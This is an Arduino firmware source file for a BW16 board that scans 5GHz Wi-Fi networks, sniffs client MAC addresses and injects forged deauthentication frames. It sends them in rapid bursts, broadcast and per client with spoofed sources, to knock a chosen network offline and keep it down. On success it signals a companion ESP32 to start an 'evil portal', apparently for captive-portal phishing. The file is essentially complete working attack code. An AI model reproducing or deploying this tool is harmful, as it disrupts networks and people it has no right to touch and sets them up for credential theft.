#include <WiFi.h>
#include <WiFiUdp.h>
#include <ArduinoJson.h>
#include <vector>

// Optional ESP32-specific includes for raw 802.11 TX and critical sections
#ifdef ARDUINO_ARCH_ESP32
  #include <esp_wifi.h>
  #include <freertos/FreeRTOS.h>
  #include <freertos/portmacro.h>
#endif

// --- WiFi compatibility layer (do not change behavior, only unify calls) ---
// Forward declare the user handler implemented later in this file
void promiscuousCallback(uint8_t *buf, uint16_t len);

#ifdef ARDUINO_ARCH_ESP32
static void IRAM_ATTR promiscuousRxAdapter(void* buf, wifi_promiscuous_pkt_type_t type) {
    if (!buf) return;
    // Pass raw payload to existing handler to preserve behavior
    wifi_promiscuous_pkt_t* pkt = reinterpret_cast<wifi_promiscuous_pkt_t*>(buf);
    uint8_t* payload = const_cast<uint8_t*>(pkt->payload);
    uint16_t len = pkt->rx_ctrl.sig_len;
    promiscuousCallback(payload, len);
}
static inline void WiFiCompat_setPromiscuous(bool enable) { esp_wifi_set_promiscuous(enable); }
static inline void WiFiCompat_setPromiscuousCallback() { esp_wifi_set_promiscuous_rx_cb(&promiscuousRxAdapter); }
static inline void WiFiCompat_setChannel(int ch) { esp_wifi_set_channel((uint8_t)ch, WIFI_SECOND_CHAN_NONE); }
static inline void WiFiCompat_sendRaw(const uint8_t* buf, int len, bool /*en_ch*/ ) { esp_wifi_80211_tx(WIFI_IF_STA, (void*)buf, len, true); }
#else
extern "C" {
    void wifi_set_promiscuous(bool);
    void wifi_set_promiscuous_rx_cb(void (*cb)(uint8_t*, uint16_t));
    void wifi_send_pkt_freedom(uint8_t* buf, int len, bool);
    void wifi_set_channel(int ch);
}
static void promiscuousRxAdapter(uint8_t* buf, uint16_t len) { promiscuousCallback(buf, len); }
static inline void WiFiCompat_setPromiscuous(bool enable) { wifi_set_promiscuous(enable); }
static inline void WiFiCompat_setPromiscuousCallback() { wifi_set_promiscuous_rx_cb(&promiscuousRxAdapter); }
static inline void WiFiCompat_setChannel(int ch) { wifi_set_channel(ch); }
static inline void WiFiCompat_sendRaw(const uint8_t* buf, int len, bool en_ch) { wifi_send_pkt_freedom((uint8_t*)buf, len, en_ch); }
#endif

// Lightweight critical section helpers for concurrent access from callback
#ifdef ARDUINO_ARCH_ESP32
static portMUX_TYPE g_vectorMux = portMUX_INITIALIZER_UNLOCKED;
  #define CRIT_ENTER() portENTER_CRITICAL(&g_vectorMux)
  #define CRIT_EXIT()  portEXIT_CRITICAL(&g_vectorMux)
#else
  #define CRIT_ENTER()
  #define CRIT_EXIT()
#endif

// Communication with ESP32 - Fixed pin assignments
#define ESP32_UART_TX 7
#define ESP32_UART_RX 8
#define UART_BAUD 115200

// WiFi configuration
#define MAX_SCAN_RESULTS 50
#define DEAUTH_FRAME_SIZE 26
#define BEACON_FRAME_SIZE 128

// Attack parameters
#define DEAUTH_PACKETS_PER_BURST 50
#define DEAUTH_BURST_INTERVAL 100  // ms
#define SUCCESS_THRESHOLD 10       // successful deauths to consider target down

// Structure for 5GHz access points
struct AP5GHz {
    String ssid;
    String bssid;
    uint8_t bssid_bytes[6];
    int channel;
    int rssi;
    String security;
    bool is_target = false;
    bool is_down = false;
    int deauth_count = 0;
    unsigned long last_seen = 0;
    unsigned long attack_start = 0;
};

// Structure for connected clients
struct Client {
    uint8_t mac[6];
    String mac_str;
    String ap_bssid;
    int rssi;
    unsigned long last_seen;
    bool is_target = false;
};

// Global variables
std::vector<AP5GHz> accessPoints5GHz;
std::vector<Client> connectedClients;
std::vector<String> targetBSSIDs;

bool scanning = false;
bool attacking = false;
String currentAttackType = "";
unsigned long lastScanUpdate = 0;
unsigned long lastAttackUpdate = 0;
unsigned long lastHeartbeat = 0;

// Attack statistics
struct AttackStats {
    int total_deauths_sent = 0;
    int successful_disconnects = 0;
    int active_targets = 0;
    unsigned long attack_duration = 0;
    String current_target_ssid = "";
    String current_target_bssid = "";
} attackStats;

void setup() {
    Serial.begin(UART_BAUD);
    Serial1.begin(UART_BAUD, SERIAL_8N1, ESP32_UART_RX, ESP32_UART_TX);
    
    // Initialize WiFi in monitor mode for 5GHz
    WiFi.mode(WIFI_STA);
    WiFi.disconnect();
    
    // Enable promiscuous mode for packet injection
    WiFiCompat_setPromiscuous(true);
    WiFiCompat_setPromiscuousCallback();
    
    Serial.println("BW16 5GHz Deauth System Initialized");
    sendToESP32("BW16_READY", "5GHz deauth system online");
    
    delay(1000);
}

void loop() {
    // Handle ESP32 commands
    handleESP32Communication();
    
    // Update scanning
    if (scanning) {
        updateScan();
    }
    
    // Update attacks
    if (attacking) {
        updateAttacks();
    }
    
    // Send periodic heartbeat
    if (millis() - lastHeartbeat > 5000) {
        sendHeartbeat();
        lastHeartbeat = millis();
    }
    
    delay(10);
}

void handleESP32Communication() {
    if (Serial1.available()) {
        String message = Serial1.readStringUntil('\n');
        message.trim();
        
        if (message.startsWith("CMD:")) {
            processCommand(message.substring(4));
        }
    }
}

void processCommand(String command) {
    DynamicJsonDocument doc(1024);
    deserializeJson(doc, command);
    
    String cmd = doc["command"];
    
    if (cmd == "start_scan_5ghz") {
        startScan5GHz();
    } else if (cmd == "stop_scan") {
        stopScan();
    } else if (cmd == "start_deauth") {
        String target = doc["target"];
        String ssid = doc["ssid"];
        startDeauthAttack(target, ssid);
    } else if (cmd == "stop_attack") {
        stopAttack();
    } else if (cmd == "get_status") {
        sendStatus();
    } else if (cmd == "set_channel") {
        int channel = doc["channel"];
        setChannel5GHz(channel);
    }
}

void startScan5GHz() {
    scanning = true;
    accessPoints5GHz.clear();
    connectedClients.clear();
    
    Serial.println("Starting 5GHz scan...");
    
    // Scan 5GHz channels (36, 40, 44, 48, 149, 153, 157, 161, 165)
    static const int channels_5ghz[] = {36, 40, 44, 48, 149, 153, 157, 161, 165};
    const size_t ch_count = sizeof(channels_5ghz)/sizeof(channels_5ghz[0]);
    
    for (size_t i = 0; i < ch_count; i++) {
        setChannel5GHz(channels_5ghz[i]);
        delay(500); // Dwell time per channel
        
        // Perform active scan on this channel
        scanChannel5GHz(channels_5ghz[i]);
    }
    
    sendToESP32("SCAN_COMPLETE", "5GHz scan finished");
}

void scanChannel5GHz(int channel) {
    Serial.printf("Scanning 5GHz channel %d\n", channel);
    
    // Use WiFi.scanNetworks() for 5GHz
    int n = WiFi.scanNetworks(false, true, false, 300U, channel);
    
    for (int i = 0; i < n; i++) {
        // Only process 5GHz networks (channels > 14)
        if (WiFi.channel(i) > 14) {
            AP5GHz ap;
            ap.ssid = WiFi.SSID(i);
            ap.bssid = WiFi.BSSIDstr(i);
            // Safer BSSID parse to prevent sscanf integer size issues
            parseBSSIDSafe(ap.bssid, ap.bssid_bytes);
            ap.channel = WiFi.channel(i);
            ap.rssi = WiFi.RSSI(i);
            ap.security = getSecurityType(WiFi.encryptionType(i));
            ap.last_seen = millis();
            
            // Check if AP already exists
            bool exists = false;
            for (auto& existing : accessPoints5GHz) {
                if (existing.bssid == ap.bssid) {
                    existing.last_seen = millis();
                    existing.rssi = ap.rssi;
                    exists = true;
                    break;
                }
            }
            
            if (!exists) {
                accessPoints5GHz.push_back(ap);
                
                // Send AP info to ESP32
                DynamicJsonDocument apDoc(512);
                apDoc["type"] = "AP_FOUND";
                apDoc["ssid"] = ap.ssid;
                apDoc["bssid"] = ap.bssid;
                apDoc["channel"] = ap.channel;
                apDoc["rssi"] = ap.rssi;
                apDoc["security"] = ap.security;
                apDoc["band"] = "5GHz";
                
                String apData;
                serializeJson(apDoc, apData);
                sendToESP32("AP_DATA", apData);
            }
        }
    }
    
    WiFi.scanDelete();
}

void startDeauthAttack(String targetBSSID, String targetSSID) {
    attacking = true;
    currentAttackType = "deauth";
    
    attackStats.current_target_bssid = targetBSSID;
    attackStats.current_target_ssid = targetSSID;
    attackStats.attack_duration = millis();
    attackStats.total_deauths_sent = 0;
    attackStats.successful_disconnects = 0;
    
    // Find target AP
    AP5GHz* targetAP = nullptr;
    for (auto& ap : accessPoints5GHz) {
        if (ap.bssid == targetBSSID) {
            ap.is_target = true;
            ap.attack_start = millis();
            targetAP = &ap;
            break;
        }
    }
    
    if (!targetAP) {
        Serial.println("Target AP not found!");
        sendToESP32("ATTACK_ERROR", "Target AP not found");
        return;
    }
    
    // Set channel to target AP's channel
    setChannel5GHz(targetAP->channel);
    
    Serial.printf("Starting deauth attack on %s (%s) channel %d\n", 
                  targetSSID.c_str(), targetBSSID.c_str(), targetAP->channel);
    
    // Start monitoring for clients
    startClientDiscovery(targetBSSID);
    
    sendToESP32("ATTACK_STARTED", targetBSSID + ":" + targetSSID);
}

void startClientDiscovery(String apBSSID) {
    // Enable promiscuous mode to capture client frames
    wifi_set_promiscuous(true);
    
    // Clear existing clients for this AP
    connectedClients.erase(
        std::remove_if(connectedClients.begin(), connectedClients.end(),
                      [apBSSID](const Client& c) { return c.ap_bssid == apBSSID; }),
        connectedClients.end());
    
    Serial.printf("Discovering clients for AP: %s\n", apBSSID.c_str());
}

void updateAttacks() {
    if (!attacking || currentAttackType != "deauth") return;
    
    // Find active target
    AP5GHz* targetAP = nullptr;
    for (auto& ap : accessPoints5GHz) {
        if (ap.is_target && !ap.is_down) {
            targetAP = &ap;
            break;
        }
    }
    
    if (!targetAP) {
        Serial.println("No active target found");
        stopAttack();
        return;
    }
    
    // Send deauth packets every 100ms
    if (millis() - lastAttackUpdate > DEAUTH_BURST_INTERVAL) {
        sendDeauthBurst(targetAP);
        lastAttackUpdate = millis();
        
        // Check if target is down
        if (targetAP->deauth_count >= SUCCESS_THRESHOLD) {
            targetAP->is_down = true;
            attackStats.successful_disconnects++;
            
            Serial.printf("Target %s successfully taken down!\n", targetAP->ssid.c_str());
            
            // Notify ESP32 to start evil portal
            DynamicJsonDocument successDoc(512);
            successDoc["type"] = "DEAUTH_SUCCESS";
            successDoc["ssid"] = targetAP->ssid;
            successDoc["bssid"] = targetAP->bssid;
            successDoc["channel"] = targetAP->channel;
            successDoc["deauth_count"] = targetAP->deauth_count;
            
            String successData;
            serializeJson(successDoc, successData);
            sendToESP32("DEAUTH_SUCCESS", successData);
            
            // Continue attacking to keep it down
        }
    }
}

void sendDeauthBurst(AP5GHz* targetAP) {
    uint8_t deauthPacket[DEAUTH_FRAME_SIZE];
    
    // Build deauth frame
    // Frame Control
    deauthPacket[0] = 0xC0; // Type: Management, Subtype: Deauthentication
    deauthPacket[1] = 0x00;
    
    // Duration
    deauthPacket[2] = 0x00;
    deauthPacket[3] = 0x00;
    
    // Destination (broadcast)
    memset(&deauthPacket[4], 0xFF, 6);
    
    // Source (AP BSSID)
    memcpy(&deauthPacket[10], targetAP->bssid_bytes, 6);
    
    // BSSID (AP BSSID)
    memcpy(&deauthPacket[16], targetAP->bssid_bytes, 6);
    
    // Sequence Control
    deauthPacket[22] = 0x00;
    deauthPacket[23] = 0x00;
    
    // Reason Code (0x0007 = Class 3 frame received from nonassociated STA)
    deauthPacket[24] = 0x07;
    deauthPacket[25] = 0x00;
    
    // Send burst of deauth packets
    for (int i = 0; i < DEAUTH_PACKETS_PER_BURST; i++) {
        // Broadcast deauth
        WiFiCompat_sendRaw(deauthPacket, DEAUTH_FRAME_SIZE, true);
        
        // If we have discovered clients, target them specifically
        CRIT_ENTER();
        for (const auto& client : connectedClients) {
            if (client.ap_bssid == targetAP->bssid) {
                // Modify destination to client MAC
                memcpy(&deauthPacket[4], client.mac, 6);
                WiFiCompat_sendRaw(deauthPacket, DEAUTH_FRAME_SIZE, true);
                
                // Also send from client to AP
                memcpy(&deauthPacket[4], targetAP->bssid_bytes, 6);  // Destination: AP
                memcpy(&deauthPacket[10], client.mac, 6);           // Source: Client
                WiFiCompat_sendRaw(deauthPacket, DEAUTH_FRAME_SIZE, true);
            }
        }
        CRIT_EXIT();
        
        delayMicroseconds(100); // Small delay between packets
    }
    
    targetAP->deauth_count += DEAUTH_PACKETS_PER_BURST;
    attackStats.total_deauths_sent += DEAUTH_PACKETS_PER_BURST;
    
    Serial.printf("Sent %d deauth packets to %s (total: %d)\n", 
                  DEAUTH_PACKETS_PER_BURST, targetAP->ssid.c_str(), targetAP->deauth_count);
}

void promiscuousCallback(uint8_t *buf, uint16_t len) {
    if (len < 24) return; // Minimum frame size
    
    // Parse frame type
    uint8_t frameType = buf[0] & 0xFC;
    uint8_t frameSubType = (buf[0] & 0xF0) >> 4;
    
    // Look for data frames to identify clients
    if (frameType == 0x08) { // Data frame
        uint8_t* srcMAC = &buf[10];
        uint8_t* dstMAC = &buf[4];
        uint8_t* bssid = &buf[16];
        
        // Check if this is communication with our target AP
        for (const auto& ap : accessPoints5GHz) {
            if (ap.is_target && memcmp(bssid, ap.bssid_bytes, 6) == 0) {
                // Found client communication
                uint8_t* clientMAC = nullptr;
                
                // Determine which MAC is the client
                if (memcmp(srcMAC, ap.bssid_bytes, 6) != 0) {
                    clientMAC = srcMAC;
                } else if (memcmp(dstMAC, ap.bssid_bytes, 6) != 0) {
                    clientMAC = dstMAC;
                }
                
                if (clientMAC) {
                    addDiscoveredClient(clientMAC, ap.bssid);
                }
                break;
            }
        }
    }
}

void addDiscoveredClient(uint8_t* clientMAC, String apBSSID) {
    // Check if client already exists
    CRIT_ENTER();
    for (auto& client : connectedClients) {
        if (memcmp(client.mac, clientMAC, 6) == 0 && client.ap_bssid == apBSSID) {
            client.last_seen = millis();
            CRIT_EXIT();
            return;
        }
    }
    
    // Add new client
    Client newClient;
    memcpy(newClient.mac, clientMAC, 6);
    newClient.mac_str = macToString(clientMAC);
    newClient.ap_bssid = apBSSID;
    newClient.last_seen = millis();
    newClient.is_target = true;
    
    connectedClients.push_back(newClient);
    CRIT_EXIT();
    
    Serial.printf("Discovered client: %s connected to %s\n", 
                  newClient.mac_str.c_str(), apBSSID.c_str());
    
    // Notify ESP32 about discovered client
    DynamicJsonDocument clientDoc(256);
    clientDoc["type"] = "CLIENT_FOUND";
    clientDoc["mac"] = newClient.mac_str;
    clientDoc["ap_bssid"] = apBSSID;
    
    String clientData;
    serializeJson(clientDoc, clientData);
    sendToESP32("CLIENT_DATA", clientData);
}

void stopScan() {
    scanning = false;
    Serial.println("5GHz scan stopped");
    sendToESP32("SCAN_STOPPED", "");
}

void stopAttack() {
    attacking = false;
    currentAttackType = "";
    
    // Reset target flags
    for (auto& ap : accessPoints5GHz) {
        ap.is_target = false;
        ap.is_down = false;
        ap.deauth_count = 0;
    }
    
    // Clear client targets
    for (auto& client : connectedClients) {
        client.is_target = false;
    }
    
    WiFiCompat_setPromiscuous(false);
    
    Serial.println("Attack stopped");
    sendToESP32("ATTACK_STOPPED", "");
}

void setChannel5GHz(int channel) {
    // Set 5GHz channel
    WiFiCompat_setChannel(channel);
    Serial.printf("Set 5GHz channel to %d\n", channel);
}

void sendStatus() {
    DynamicJsonDocument statusDoc(1024);
    statusDoc["type"] = "BW16_STATUS";
    statusDoc["scanning"] = scanning;
    statusDoc["attacking"] = attacking;
    statusDoc["attack_type"] = currentAttackType;
    statusDoc["aps_found"] = accessPoints5GHz.size();
    statusDoc["clients_found"] = connectedClients.size();
    
    // Attack statistics
    JsonObject stats = statusDoc.createNestedObject("attack_stats");
    stats["total_deauths"] = attackStats.total_deauths_sent;
    stats["successful_disconnects"] = attackStats.successful_disconnects;
    stats["current_target_ssid"] = attackStats.current_target_ssid;
    stats["current_target_bssid"] = attackStats.current_target_bssid;
    
    if (attacking) {
        stats["attack_duration"] = (millis() - attackStats.attack_duration) / 1000;
    }
    
    String statusData;
    serializeJson(statusDoc, statusData);
    sendToESP32("STATUS", statusData);
}

void sendHeartbeat() {
    DynamicJsonDocument heartbeatDoc(256);
    heartbeatDoc["type"] = "HEARTBEAT";
    heartbeatDoc["uptime"] = millis() / 1000;
    heartbeatDoc["free_memory"] = ESP.getFreeHeap();
    
    String heartbeatData;
    serializeJson(heartbeatDoc, heartbeatData);
    sendToESP32("HEARTBEAT", heartbeatData);
}

void updateScan() {
    // Periodic scan updates
    if (millis() - lastScanUpdate > 10000) { // Every 10 seconds
        // Remove old APs
        accessPoints5GHz.erase(
            std::remove_if(accessPoints5GHz.begin(), accessPoints5GHz.end(),
                          [](const AP5GHz& ap) { return millis() - ap.last_seen > 30000; }),
            accessPoints5GHz.end());
        
        lastScanUpdate = millis();
    }
}

void sendToESP32(String type, String data) {
    DynamicJsonDocument doc(1024);
    doc["type"] = type;
    doc["data"] = data;
    doc["timestamp"] = millis();
    
    String message;
    serializeJson(doc, message);
    
    Serial1.println(message);
    Serial.printf("Sent to ESP32: %s\n", message.c_str());
}

// Utility functions
// Original kept for compatibility; prefer parseBSSIDSafe
void parseBSSID(String bssidStr, uint8_t* bssidBytes) {
    parseBSSIDSafe(bssidStr, bssidBytes);
}

void parseBSSIDSafe(const String& bssidStr, uint8_t* bssidBytes) {
    unsigned int v[6] = {0};
    if (sscanf(bssidStr.c_str(), "%02x:%02x:%02x:%02x:%02x:%02x",
               &v[0], &v[1], &v[2], &v[3], &v[4], &v[5]) == 6) {
        for (int i = 0; i < 6; ++i) bssidBytes[i] = static_cast<uint8_t>(v[i]);
    } else {
        memset(bssidBytes, 0, 6);
    }
}

String macToString(uint8_t* mac) {
    char macStr[18];
    sprintf(macStr, "%02X:%02X:%02X:%02X:%02X:%02X",
            mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
    return String(macStr);
}

String getSecurityType(wifi_auth_mode_t encType) {
    switch (encType) {
        case WIFI_AUTH_OPEN: return "Open";
        case WIFI_AUTH_WEP: return "WEP";
        case WIFI_AUTH_WPA_PSK: return "WPA";
        case WIFI_AUTH_WPA2_PSK: return "WPA2";
        case WIFI_AUTH_WPA_WPA2_PSK: return "WPA/WPA2";
        case WIFI_AUTH_WPA2_ENTERPRISE: return "WPA2-Enterprise";
        case WIFI_AUTH_WPA3_PSK: return "WPA3";
        default: return "Unknown";
    }
}
